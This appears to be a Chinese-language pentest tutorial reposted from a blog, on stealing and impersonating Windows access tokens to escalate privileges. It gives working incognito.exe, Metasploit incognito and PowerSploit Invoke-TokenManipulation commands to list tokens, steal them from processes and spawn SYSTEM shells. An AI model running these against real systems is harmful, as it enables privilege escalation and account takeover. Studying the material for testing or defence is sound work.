令牌(token)是系统的临时秘钥,相当于账号和密码,用来决定是否允许这次请求和判断这次请求是属于哪一个用户的。它允许你在不提供密码或其他凭证的前提下,访问网络和系统资源,这些令牌将持续存在于系统中,除非系统重新启动。令牌最大的特点就是随机性,不可预测,黑客或软件无法猜测出令牌。
假冒令牌可以假冒一个网络中的另一个用户进行各类操作。所以当一个攻击者需要域管理员的操作权限时候,需要通过假冒域管理员的令牌进行攻击。
令牌有很多种:
Windows的AccessToken有两种类型:
注: 两种token只在系统重启后清除 具有Delegation token
的用户在注销后,该Token将变成Impersonation token
,依旧有效。
AccessToken的窃取与利用需要administrator管理员权限。也就是说要提权。
窃取AccessToken的方法:
incognito.exe程序 、InvokeTokenManipulat.ps1脚本 、MSF里的incognito模块
程序地址:https://labs.mwrinfosecurity.com/assets/BlogFiles/incognito2.zip
AccessToken的列举(需要administrator权限)
incognito.exe list_tokens -u
操作:模拟其他用户的令牌(复制token)
如果要使用AccessToken模拟其他用户,可以使用命令
incognito.exe execute -c "完整的Token名" cmd.exe
例如:模拟system权限用户(提权至system):
incognito.exe execute -c "NT AUTHORITY\SYSTEM" cmd.exe
降权至当前用户:
incognito.exe execute -c "当前用户token" cmd.exe
需要administrator权限
use incognito #加载incognito
list_tokens -u #列出AccessToken
getuid #查看当前token
impersonate_token "NT AUTHORITY\SYSTEM" #模拟system用户,getsystem命令即实现了该命令。如果要模拟其他用户,将token名改为其他用户即可
steal_token 1252 #从进程窃取token
getsystem #提升至system权限
rev2self #返回到之前的AccessToken权限
这个脚本是PowerSploit下Exfiltration文件夹内的一个脚本
下载地址:
https://github.com/PowerShellMafia/PowerSploit/blob/master/Exfiltration/Invoke-TokenManipulation.ps1
使用命令如下:
列举token:
Invoke-TokenManipulation -Enumerate
提权至system:
Invoke-TokenManipulation -CreateProcess "cmd.exe" -Username "nt authoritysystem"
复制(窃取)进程token:
Invoke-TokenManipulation -CreateProcess "cmd.exe" -ProcessId 500
复制(窃取)线程token:
Invoke-TokenManipulation -CreateProcess "cmd.exe" -ThreadId 500
假设我们现在已经获得了目标主机的权限,但是通过 getsystem 和其他方式提权失败。
此时,我们可以尝试使用假冒令牌进行提权。
use incognito #进入incognito模块
list_tokens -u #列出令牌
如图,可以看到有两种类型的令牌。
令牌的数据取决于当前获取权限的高低。
当前列出了3个令牌。我们就可以通过下面的命令假冒 Administrator 用户了。
impersonate_token WIN2008\\adminstrator #假冒WIN2008\adminstrator 的令牌
impersonate_token WIN2008\\test #假冒WIN2008\test 的令牌
impersonate_token "NT AUTHORITY\SYSTEM" #假冒System的令牌
从进程窃取令牌
steal_token 1252
返回之前的token
rev2self
原文:https://blog.csdn.net/qq_36119192/article/details/103965659